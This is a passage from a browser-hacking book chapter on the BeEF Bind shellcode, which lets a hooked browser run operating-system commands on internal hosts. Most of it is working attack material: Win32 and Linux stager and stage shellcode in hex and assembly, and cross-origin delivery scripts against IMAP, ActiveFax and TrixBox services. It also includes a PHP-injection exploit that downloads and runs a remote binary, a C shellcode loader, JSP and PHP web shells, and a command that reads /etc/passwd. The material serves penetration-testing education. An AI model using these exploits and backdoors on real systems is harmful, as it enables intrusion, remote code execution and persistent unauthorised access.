4. The client, in this case an XMLHttpRequest object within the hooked browser, reads the response that arrives from the Stage, which includes Content-Type: text/html, and parses it.

The part of the Stager that spawns the operating system command is the following:

[BITS 32]

; Input:

; EBP is api_call

; esp+00 child stdin read file descriptor (inherited)

; esp+04 not used

; esp+08 not used

; esp+12 child stdout write file descriptor (inherited)

; Output: None.

; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified

shell:

push 0x00646D63 ; push our command line: 'cmd',0

mov ebx, esp ; save a pointer to the command line

push dword [esp+16] ; child stdout write file descriptor

; for process stderr

push dword [esp+20] ; child stdout write file descriptor

; for process stdout

push dword [esp+12] ; child stdin read file descriptor

; for process stdout

xor esi, esi ; Clear ESI for all the NULL's we need to push

push byte 18 ; We want to place (18 * 4) = 72 null

; bytes onto the stack

pop ecx ; Set ECX for the loop

push_loop:

push esi ; push a null dword

; keep looping until we have pushed enough nulls

loop push_loop

; Set the STARTUPINFO Structure's dwFlags

; to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW

mov word [esp + 60], 0x0101

; Set EAX as a pointer to STARTUPINFO Structure

lea eax, [esp + 16]

; Set the size of the STARTUPINFO Structure

mov byte [eax], 68

; perform the call to CreateProcessA

; Push the pointer to the PROCESS_INFORMATION Structure

push esp

; Push the pointer to the STARTUPINFO Structure

push eax

; The lpCurrentDirectory is NULL so the new process

; will have the same current directory as its parent

push esi

; The lpEnvironment is NULL so the new process will

; have the same enviroment as its parent

push esi

push esi ; We don’t specify any dwCreationFlags

inc esi ; Increment ESI to be one

; Set bInheritHandles to TRUE in order to inherit

; all possible handles from the parent

push esi

dec esi ; Decrement ESI back down to zero

push esi ; Set lpThreadAttributes to NULL

push esi ; Set lpProcessAttributes to NULL

push ebx ; Set the lpCommandLine to point to "cmd",0

push esi ; Set lpApplicationName to NULL as we

; are using the command line param instead

; hash( "kernel32.dll", "CreateProcessA" )

push 0x863FCC79

; CreateProcessA( 0, &"cmd", 0, 0, TRUE, 0, 0, 0, &si, &pi );

call ebp

As highlighted in the assembly comments, the Windows API’s CreateProcessA is being called to execute the command contained in the cmdPOST parameter.

Now we come to the question of how to handle situations where the output buffer is too small. For example, if you issue a dir command on a directory with hundreds of files, the output is likely to be larger than the preallocated buffer. The browser has no knowledge if the full contents of the file listing were retrieved. To determine whether there is more information available, the browser needs to send an additional request. This can be either a blank POST without the cmd parameter, or a GET request. If more output is available and needs to be returned, it will be returned as the response to these blank requests. This continues until the Shellcode closes the HTTP connection, indicating there is no more command output to be retrieved.

Linux32 Stager and Stage

Bart Leppens ported Miller’s BeEF Bind Shellcode to Linux. Thanks to his efforts, you can use BeEF Bind against Linux services too.

Both the Stager and the Stage are smaller than the Win32 BeEF Bind implementation. This is because Windows stores functions within DLLs, which in turn means that the Shellcode needs to first locate kernel32 as a base. It then uses this base to resolve any functions to be called within the Shellcode back to raw memory addresses.

On top of this, memory addresses of Windows functions shift around depending on the operating system version and service pack level. Hence, this part of the Shellcode needs to be written to support these different versions. This required functionality increases the size of Windows Shellcode.

Linux uses syscalls instead of DLLs, which means that the additional overhead of resolving function names and platform support is not required in Linux. This results in the ability to write smaller Shellcode. The Stager is just 156 bytes and the Stage is only 606 bytes.

The following assembly shows the execution of commands that arrive in the cmd parameter. As you can see, the setresuid and execve syscalls are used:

;setresuid(0,0,0)

xor eax, eax

xor ebx, ebx

xor ecx, ecx

xor edx, edx

mov al, 0xa4 ;sys_setresuid16

int 0x80

;execve("/bin//sh", 0, 0)

xor eax, eax

push eax

push eax

push 0x68732f2f ;//sh

push 0x6e69622f ;/bin

mov ebx, esp

push BYTE 0x0b ;sys_execve

pop eax

int 0x80

The Shellcode is using standard Linux syscalls, similar to how the Windows version was using Windows API. You can find the full source code of the BeEF Bind Linux Shellcode on browserhacker.com.

Using BeEF Bind in your Exploits

All the exploits discussed in the Remote Command Execution sections of Chapter 9 can be modified to work with BeEF Bind. Now, let’s explore some practical examples of how to use BeEF Bind against both Windows and Linux targets.

IMAP Inter-protocol Exploitation Example

Returning to the IMAP service we were exploiting earlier, let’s redo the attacks, this time using the BeEF Bind Shellcode. As with any Shellcode, you will likely need to encode the Stager to prevent any issues with certain characters on different protocols.

Every protocol, like every programming language, has particular characters that get handled in different ways. For example, some characters may indicate the end of a command, end of a string, and so on. Bad characters vary, depending on the protocol. With IMAP, for instance, you always want to encode the characters \x00\x0a\x0d\x20\x7b if they are found in your Shellcode, otherwise your Shellcode might not run as expected. The command you’re issuing might be truncated, not properly terminated, or just ignored.

You will recall that the JavaScript code in the previous example was using the normal Metasploit Meterpreter reverse_tcp Shellcode. Now you just need to change the Stager to the BeEF Bind equivalent:

// B33FB33F is just the "egg"

var stager = "B33FB33F" +

"\xba\x6a\x99\xf8\x25\xd9\xcc\xd9\x74\x24\xf4\x5e\x31\xc9" +

"\xb1\x4b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x9f\x65" +

"\x10\xac\x5f\x96\xe1\xcf\xd6\x73\xd0\xdd\x8c\xf0\x41\xd2" +

"\xc7\x55\x6a\x99\x85\x4d\xf9\xef\x01\x61\x4a\x45\x77\x4c" +

"\x4b\x6b\xb7\x02\x8f\xed\x4b\x59\xdc\xcd\x72\x92\x11\x0f" +

"\xb3\xcf\xda\x5d\x6c\x9b\x49\x72\x19\xd9\x51\x73\xcd\x55" +

"\xe9\x0b\x68\xa9\x9e\xa1\x73\xfa\x0f\xbd\x3b\xe2\x24\x99" +

"\x9b\x13\xe8\xf9\xe7\x5a\x85\xca\x9c\x5c\x4f\x03\x5d\x6f" +

"\xaf\xc8\x60\x5f\x22\x10\xa5\x58\xdd\x67\xdd\x9a\x60\x70" +

"\x26\xe0\xbe\xf5\xba\x42\x34\xad\x1e\x72\x99\x28\xd5\x78" +

"\x56\x3e\xb1\x9c\x69\x93\xca\x99\xe2\x12\x1c\x28\xb0\x30" +

"\xb8\x70\x62\x58\x99\xdc\xc5\x65\xf9\xb9\xba\xc3\x72\x2b" +

"\xae\x72\xd9\x24\x03\x49\xe1\xb4\x0b\xda\x92\x86\x94\x70" +

"\x3c\xab\x5d\x5f\xbb\xcc\x77\x27\x53\x33\x78\x58\x7a\xf0" +

"\x2c\x08\x14\xd1\x4c\xc3\xe4\xde\x98\x44\xb4\x70\x73\x25" +

"\x64\x31\x23\xcd\x6e\xbe\x1c\xed\x91\x14\x35\xdf\xb6\xc4" +

"\x52\x22\x48\xfa\xfe\xab\xae\x96\xee\xfd\x79\x0f\xcd\xd9" +

"\xb2\xa8\x2e\x08\xef\x61\xb9\x04\xe6\xb6\xc6\x94\x2d\x95" +

"\x6b\x3c\xa5\x6e\x60\xf9\xd4\x70\xad\xa9\x81\xe7\x3b\x38" +

"\xe0\x96\x3c\x11\x41\x58\xd3\x9a\xb5\x33\x93\xc9\xe6\xa9" +

"\x13\x86\x50\x8a\x47\xb3\x9f\x07\xee\xfd\x35\xa8\xa2\x51" +

"\x9e\xc0\x46\x8b\xe8\x4e\xb8\xfe\xbf\x18\x80\x97\xb8\x8b" +

"\xf3\x4d\x47\x15\x6f\x03\x23\x57\x1b\xd8\xed\x4c\x16\x5d" +

"\x37\x96\x26\x84";

The rest of the JavaScript code can remain the same. You can now send the first POST request using the IPE technique, which results in the insertion and execution of the BeEF Bind Stager in the memory of the IMAP service. You will notice that port 4444/TCP is now listening on the target host. The second mandatory step is to send the Stage to that listening port. You can use the following code to achieve this:

// BeEF Bind Windows 32bit Stage

var BeEF_Bind_Stage =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52"+

"\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c"+

"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10"+

"\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48"+

"\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31"+

"\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"+

"\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"+

"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0"+

"\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xbb\x00\x10\x00\x00\x6a\x40\x53\x53"+

"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x89\xc6\x68\x01\x00\x00\x00\x68"+

"\x00\x00\x00\x00\x68\x0c\x00\x00\x00\x68\x00\x00\x00\x00\x89\xe3\x68"+

"\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x0c\x57\x53"+

"\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x68\x00\x00\x00\x00\x89\xe3\x68\x00"+

"\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x14\x57\x53\x51"+

"\x68\x3e\xcf\xaf\x0e\xff\xd5\x8b\x5c\x24\x08\x68\x00\x00\x00\x00\x68"+

"\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x8b\x5c\x24\x04\x68"+

"\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5"+

"\x89\xf7\x68\x63\x6d\x64\x00\x89\xe3\xff\x74\x24\x10\xff\x74\x24\x14"+

"\xff\x74\x24\x0c\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"+

"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"+

"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xfe\xb9\xf8\x0f\x00"+

"\x00\x8d\x46\x08\xc6\x00\x00\x40\xe2\xfa\x56\x8d\xbe\x18\x04\x00\x00"+

"\xe8\x62\x00\x00\x00\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30"+

"\x20\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"+

"\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65"+

"\x73\x73\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d"+

"\x4f\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e"+

"\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x31\x36\x0d\x0a\x0d"+

"\x0a\x5e\xb9\x62\x00\x00\x00\xf3\xa4\x5e\x56\x68\x33\x32\x00\x00\x68"+

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00"+

"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50"+

"\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02\x00\x11"+

"\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68"+

"\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57"+

"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x81\xc4\xa0\x01\x00\x00\x5e\x89\x3e"+

"\x6a\x00\x68\x00\x04\x00\x00\x89\xf3\x81\xc3\x08\x00\x00\x00\x53\xff"+

"\x36\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x54\x24\x64\xb9\x00\x04\x00\x00"+

"\x81\x3b\x63\x6d\x64\x3d\x74\x06\x43\x49\xe3\x3a\xeb\xf2\x81\xc3\x03"+

"\x00\x00\x00\x43\x53\x68\x00\x00\x00\x00\x8d\xbe\x10\x04\x00\x00\x57"+

"\x68\x01\x00\x00\x00\x53\x8b\x5c\x24\x70\x53\x68\x2d\x57\xae\x5b\xff"+

"\xd5\x5b\x80\x3b\x0a\x75\xda\x68\xe8\x03\x00\x00\x68\x44\xf0\x35\xe0"+

"\xff\xd5\x31\xc0\x50\x8d\x5e\x04\x53\x50\x50\x50\x8d\x5c\x24\x74\x8b"+

"\x1b\x53\x68\x18\xb7\x3c\xb3\xff\xd5\x85\xc0\x74\x44\x8b\x46\x04\x85"+

"\xc0\x74\x3d\x68\x00\x00\x00\x00\x8d\xbe\x14\x04\x00\x00\x57\x68\x86"+

"\x0b\x00\x00\x8d\xbe\x7a\x04\x00\x00\x57\x8d\x5c\x24\x70\x8b\x1b\x53"+

"\x68\xad\x9e\x5f\xbb\xff\xd5\x6a\x00\x68\xe8\x0b\x00\x00\x8d\xbe\x18"+

"\x04\x00\x00\x57\xff\x36\x68\xc2\xeb\x38\x5f\xff\xd5\xff\x36\x68\xc6"+

"\x96\x87\x52\xff\xd5\xe9\x38\xfe\xff\xff";

var uri = "http://172.16.37.151:4444/";

xhr = new XMLHttpRequest();

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.sendAsBinary("cmd=" + BeEF_Bind_Stage);

Now that both the BeEF Bind Stager and the Stage are running in memory, you can interact with the compromised system on TCP port 4444 cross-origin. The communication with the Shellcode, as explained before, is bidirectional thanks to the CORS header returned in each HTTP response.

The BeEF_bind command module in BeEF wraps a lot of this functionality together and allows for more automated exploitation. For this demonstration, assume that you have a port banning bypass and have a browser hooked with BeEF. Next, you find a system in the internal network that has port 143 open. Now BeEF can assist you in exploiting this vulnerability in a mostly automated fashion, as shown in Figure 10-25 and Figure 10-26.

Figure 10-25: BeEF_Bind command module input

image

Figure 10-26: Retrieving results from command execution through BeEF Bind

image

From a raw network packet perspective, the delivery of the exploit and the communication with BeEF Bind are standard HTTP requests and responses. Figure 10-27 shows a raw traffic dump when exploiting the IMAP service discussed before, while delivering the BeEF Bind Stager as Shellcode.

Figure 10-27: Exploiting the IMAP service sending the BeEF Bind Stager

image

After the BeEF Bind Shellcode is running in memory, you’re now ready to interact with it, issuing POST requests containing the command you want to execute in the cmd parameter. Figure 10-28 shows the raw HTTP request and response pair when executing a command, in this case netstat –na to show the host’s active network connections.

Figure 10-28: Communication with BeEF Bind

image

Let’s summarize this attack to get a sense of the sequence of actions:

1. A vulnerable IMAP server has been discovered on an internal network via a hooked browser.

2. The hooked browser exploits the vulnerable service sending an XMLHttpRequest. The BeEF Bind Stager is used as the payload of the exploit.

3. This opens a TCP listener on port 4444 on the vulnerable IMAP server, which now expects the second part of the BeEF Bind payload, the Stage.

4. The hooked browser then submits a second request to the server on port 4444, again using XMLHttpRequest.sendAsBinary, this time with the BeEF Bind Stage.

5. The BeEF Bind is now active, allowing arbitrary OS commands to be submitted to the IMAP server using standard POST requests.

The next example explores ActiveFax again, this time using the BeEF Bind Shellcode.

ActiveFAX Inter-protocol Exploitation Example

To use the BeEF Bind Shellcode against ActiveFax you must apply a change to the code discussed in the previous ActiveFax exploitation example. You also need to send an additional request to the Stager port, which results in the following modified code. Remember that the bad characters limitation will force the usage of the alpha_mixed encoder.

// BeEF bind Stage

var stage = "\xfc\xe8\x89[...snip...]";

setTimeout(function(){

xhr.abort();

setTimeout(function(){

// wait a few seconds to have the Stager in memory, then

// send the Stage on default BeEF Bind port 4444.

var stage_request = "cmd=" + stage;

sendRequest(4444, stage_request);

}, 4000);

}, 2000);

After sending the Stager and the Stage, you are ready to communicate with the BeEF Bind listener running on the compromised system. Figure 10-29 shows the execution of the netstat command via BeEF Bind.

Figure 10-29: Interaction with the compromised system using BeEF Bind

image

To simplify the process, you want to use BeEF’s “beef_bind_shell” command module to communicate with the Shellcode. The diagram in Figure 10-30 provides a high-level overview of this attack and how it builds on the previous IPE attack. You can clearly see that the bidirectional communication channel is passing exclusively through the browser, and living inside the borders of the hooked browser’s internal network.

Figure 10-30: High-level overview of ActiveFax exploitation with BeEF Bind Shellcode

image

The main advantage of using BeEF Bind is that you take some of the guesswork out of the outbound communication channel. You don’t need to predict an outbound open port, or use HTTP or DNS tunneling to break out of the network. You are utilizing an already existing communications channel through the web browser, which ultimately increases your exploitation success rate.

This attack highlights the concept of a browser as a beachhead. If you hook a browser, you have visibility over the internal network. All those systems in the internal network that are reachable from the hooked browser are sitting there bored and lonely, waiting to be exploited. So why don’t you use the browser effectively as a pivot point when sending your exploits?

TrixBox Inter-protocol Exploitation Example

As you uncovered in Chapter 9, a version of TrixBox was vulnerable to Remote Command Execution. In the previous chapter this was demonstrated through the execution of a reverse network connection.

Expanding on this attack with BeEF Bind demonstrates how the reverse connectivity can be channeled through the hooked browser. This will bypass any potential perimeter detective or preventative controls in the way.

TrixBox runs on CentOS Linux, and by default its iptables configuration doesn’t block any incoming/outgoing network traffic. This makes it a perfect target for BeEF Bind.

The following code injected into the target’s hooked browser exploits the same TrixBox flaws as discussed previously. However, this time it results in the BeEF Bind Stager binary running on the target:

var uri = "http://172.16.37.155/user/index.php";

/* command to execute with PHP's exec

* 1. retrieve BeEF Bind 32bit ELF

* 2. mark the binary as executable

* 3. run it in the background

*/

var cmd = btoa("/usr/bin/wget -O /tmp/BeEF_bind " +

"http://browserhacker.com/BeEF_bind " +

"&& /bin/chmod +x /tmp/BeEF_bind && " +

"/tmp/BeEF_bind > /dev/null 2>&1 & echo $!");

// POST body. The previous command is decoded from base64

// and then executed with PHP's exec

var body = "langChoice=<?php exec(base64_decode('" + cmd + "'));?>%00";

var xhr = new XMLHttpRequest();

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.send(body);

console.log("Sending first request with RCE vector...");

function getCookie(name){

name += '=';

var parts = document.cookie.split(/;\s*/);

for (var i = 0; i < parts.length; i++){

var part = parts[i];

if (part.indexOf(name) == 0)

return part.substring(name.length)

}

return null;

}

function trigger(){

// current session cookie

var phpsessid = getCookie("PHPSESSID");

console.log("Using PHPSESSID: " + phpsessid);

// to trigger code execution the contents

// of PHP's serialized $_SESSION need to be evaluated

var body = "langChoice=../../../../../../../../../../tmp/sess_"

+ phpsessid + "%00";

var xhr_trigger = new XMLHttpRequest();

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.send(body);

console.log("Sending second to trigger RCE...\n" +

"BeEF Bind ELF should now be listening on port 4444.");

}

setTimeout(function(){trigger();}, 3000);

The exploit downloads the BeEF_Bind binary from http://browserhacker.com. It then changes its permissions in order to be executable, and finally executes the binary in the background.

In this instance BeEF_Bind is a Linux ELF 32-bit binary that contains the BeEF Bind Stager functionality discussed in the previous section. You can use the following C code to compile the Stager Shellcode into a binary, but it is also available for download from https://browserhacker.com:

#include <stdio.h>

#include <sys/mman.h>

#include <string.h>

#include <stdlib.h>

# Compile with GCC on Linux as the following

# gcc -fno-stack-protector -z execstack -o BeEF_bind BeEF_bind.c

int (*sc)();

// BeEF Bind Linux 32-bit Stager

char shellcode[] = "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40"+

"\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b"+

"\x6a\x04\x54\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80"+

"\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56"+

"\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x53\x56\x89\xe1\x6a\x66"+

"\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x96"+

"\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68\xff\xff\xff\xff"+

"\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89\xe3\x6a\x5a"+

"\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3\x6a\x03"+

"\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d\x74"+

"\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7";

int main(int argc, char **argv) {

char *ptr = mmap(0, sizeof(shellcode),

PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE,

-1, 0);

if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}

memcpy(ptr, shellcode, sizeof(shellcode));

sc = (int(*)())ptr;

(void)((void(*)())ptr)();

printf("\n");

return 0;

}

At this stage, you should have the BeEF Bind Stager listening on TCP port 4444, as you can see in Figure 10-31.

Figure 10-31: BeEF Bind ELF Stager running on port 4444

image

Now you’re ready to send the Stage for execution. You can use the following JavaScript, even cross-origin, because BeEF Bind returns the Access-Control-Allow-Origin header with a wildcard value (yes, in this case it is safe!):

// BeEF Bind Linux_32bit Stage

var BeEF_Bind_Stage =

"\xfc\x31\xd2\x6a\x02\x59\x52\x52\x89\xe3\x6a\x2a\x58"+

"\xcd\x80\x49\x67\xe3\x02\xeb\xf1\x31\xdb\x6a\x02\x58"+

"\xcd\x80\x3d\x00\x00\x00\x00\x0f\x84\xe4\x01\x00\x00"+

"\x8b\x5c\x24\x08\x6a\x06\x58\xcd\x80\x8b\x5c\x24\x04"+

"\x6a\x06\x58\xcd\x80\x8b\x1c\x24\x6a\x04\x59\x68\x00"+

"\x08\x00\x00\x5a\x6a\x37\x58\xcd\x80\x6a\x00\x68\xff"+

"\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x68"+

"\x00\x00\x00\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89\xc7"+

"\x81\xc4\x18\x00\x00\x00\x31\xd2\x31\xc0\x6a\x01\x5b"+

"\x50\x40\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89"+

"\xc6\x81\xc4\x0c\x00\x00\x00\x6a\x0e\x5b\x6a\x04\x54"+

"\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x81"+

"\xc4\x14\x00\x00\x00\x6a\x02\x5b\x52\x68\x02\x00\x11"+

"\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd"+

"\x80\x81\xc4\x14\x00\x00\x00\x43\x43\x53\x56\x89\xe1"+

"\x6a\x66\x58\xcd\x80\x81\xc4\x08\x00\x00\x00\x43\x52"+

"\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x0c\x00"+

"\x00\x00\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\xb9\x00"+

"\x10\x00\x00\x49\x89\xfb\x01\xcb\xc6\x03\x00\xe3\x05"+

"\xe9\xf1\xff\xff\xff\x66\xba\x00\x04\x89\xf9\x89\xf3"+

"\x6a\x03\x58\xcd\x80\x57\x56\x89\xfb\xb9\x00\x04\x00"+

"\x00\x81\x3b\x63\x6d\x64\x3d\x74\x09\x43\x49\xe3\x3a"+

"\xe9\xef\xff\xff\xff\x89\xd9\x81\xc1\x03\x00\x00\x00"+

"\x8b\x5c\x24\x14\x41\x6a\x01\x5a\x6a\x04\x58\xcd\x80"+

"\x80\x39\x0a\x75\xf2\x68\x00\x00\x00\x00\x68\x01\x00"+

"\x00\x00\x89\xe3\x31\xc9\xb8\xa2\x00\x00\x00\xcd\x80"+

"\x81\xc4\x08\x00\x00\x00\xe8\x62\x00\x00\x00\x48\x54"+

"\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b"+

"\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"+

"\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d"+

"\x0a\x41\x63\x63\x65\x73\x73\x2d\x43\x6f\x6e\x74\x72"+

"\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d\x4f\x72\x69\x67"+

"\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e"+

"\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x34"+

"\x38\x0d\x0a\x0d\x0a\x5e\x81\xc7\x00\x04\x00\x00\xb9"+

"\x62\x00\x00\x00\xf3\xa4\x5f\x5e\x8b\x1c\x24\x89\xf1"+

"\x81\xc1\x00\x04\x00\x00\x81\xc1\x62\x00\x00\x00\x68"+

"\x86\x0b\x00\x00\x5a\x6a\x03\x58\xcd\x80\x89\xfb\x89"+

"\xf1\x81\xc1\x00\x04\x00\x00\xba\xe8\x0b\x00\x00\x6a"+

"\x04\x58\xcd\x80\x6a\x06\x58\xcd\x80\x89\xf7\xe9\x63"+

"\xfe\xff\xff\x8b\x5c\x24\x0c\x6a\x06\x58\xcd\x80\x31"+

"\xdb\x6a\x06\x58\xcd\x80\x8b\x5c\x24\x08\x6a\x29\x58"+

"\xcd\x80\x8b\x1c\x24\x6a\x06\x58\xcd\x80\x31\xdb\x43"+

"\x6a\x06\x58\xcd\x80\x8b\x5c\x24\x04\x6a\x29\x58\xcd"+

"\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80"+

"\x31\xc0\x50\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+

"\x6e\x89\xe3\x6a\x0b\x58\xcd\x80";

var uri = "http://172.16.37.155:4444/";

xhr = new XMLHttpRequest();

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.sendAsBinary("cmd=" + BeEF_Bind_Stage);

This code sends a cross-origin POST request to the BeEF Bind Stager listener on port 4444. The value of the cmd parameter is the Linux Stage, which is added to memory, and subsequently executed and handled by the initial Stager. After the Stage is delivered, you can execute operating system commands through the hooked browser. As you can see in Figure 10-32, you can retrieve command results cross-origin, thanks to the BeEF Bind CORS headers.

Figure 10-32: Sending the netstat command to BeEF Bind

image

In this instance, you have used the BeEF Bind Shellcode as a precompiled binary for Linux systems. This example highlights the power of the BeEF Bind Shellcode as a means of establishing bidirectional communication to an exploited intranet service.

Using BeEF Bind as a Web Shell

The previous TrixBox example used an exploit to download the BeEF Bind binary and execute it. Another approach is to recreate the same logic of the BeEF Bind Shellcode in different languages like Java, ASP.NET, or PHP, to list a few.

When targeting a vulnerable web application, such as presented at the end of Chapter 9, often you want to create a backdoor that is available as a new web resource mapped at a specific URL. For example, the previously discussed exploits against JBoss and GlassFish demonstrated how it was possible to deploy a new JSP or WAR file. When deployed, you can use it to spawn OS commands on the target. With PHP or ASP.NET, if you can add a file somewhere within the web application’s path via RCE or File Upload vulnerabilities, you can obtain the same result.

In these instances, instead of relying on downloading and executing the BeEF Bind binary, you can port the logic of the BeEF Bind Shellcode to any server-side web application language. In other words, you can create a BeEF Bind web shell.

Following are the three main features of the BeEF Bind that need to be ported to have the hooked browser communicating with the web shell:

· Every HTTP response must contain Allow-Access-From-Origin: * to allow bidirectional cross-origin communication with the hooked browser.

· The page must accept a POST request (Content-Type text/plain or application/x-www-form-urlencoded) with a cmd parameter, which holds the command that will be executed.

· The output of the executed command must be returned in the HTTP response.

The following JSP satisfies all the previous requirements, and can be used in the exploitation scenarios covered in Chapter 9:

<%@ page import="java.util.*,java.io.*"%>

<%

// needed for cross-origin communication

response.setHeader("Access-Control-Allow-Origin", "*");

try{

// needed for handling text/plain data

BufferedReader br = request.getReader();

String line = br.readLine();

if(line != null){

String[] cmds = line.split("cmd=");

if(cmds.length > 0){

String cmd = cmds[1];

//executes the command

Process p = Runtime.getRuntime().exec(cmd);

// reads the command output

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while(disr != null){

out.println(disr);

disr = dis.readLine();

}

}

}}catch(Exception e){

out.println("Exception!!");

}

%>

Let’s say the previous JSP file has been successfully deployed to a vulnerable JBoss 6.0.0.M1 server, using the same exploit discussed in Chapter 9, and now resides as BeEF_Bind.jsp. You can interact with this new JSP page cross-origin due to the Access-Control-Allow-Origin header: *being returned in every HTTP response. Additionally, the JSP will correctly parse a text/plainPOST request with the command to be executed in the cmd parameter.

The JavaScript code to communicate cross-origin from the hooked browser to the new JSP BeEF Bind Web Shell is very similar to that previously demonstrated in this chapter:

var uri = "http://browservictim.com";

var port = 8080;

var path = "BeEF_Bind.jsp";

var cmd = "cat /etc/passwd"

xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {

if(xhr.readyState == 4) {

console.log(xhr.responseText);

}

}

xhr.open("POST", uri + ":" + port + "/" + path, true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.send("cmd=" + cmd);

As you can see in Figure 10-33, the POST request is sent cross-origin, and the command results are sent back to the hooked browser in the HTTP response. From the comments in /etc/passwd, you might have recognized that JBoss is running on OS X.

Figure 10-33: Output of the command is printed to the JS console

image

This approach implemented in JSP can be implemented in other server-side languages too. As long as you can control the CORS header in the HTTP response and execute OS commands, this technique remains valid.

Implementing the same logic in PHP requires only two lines:

<?php header("Access-Control-Allow-Origin: *");

echo @system($_POST['cmd']); ?>

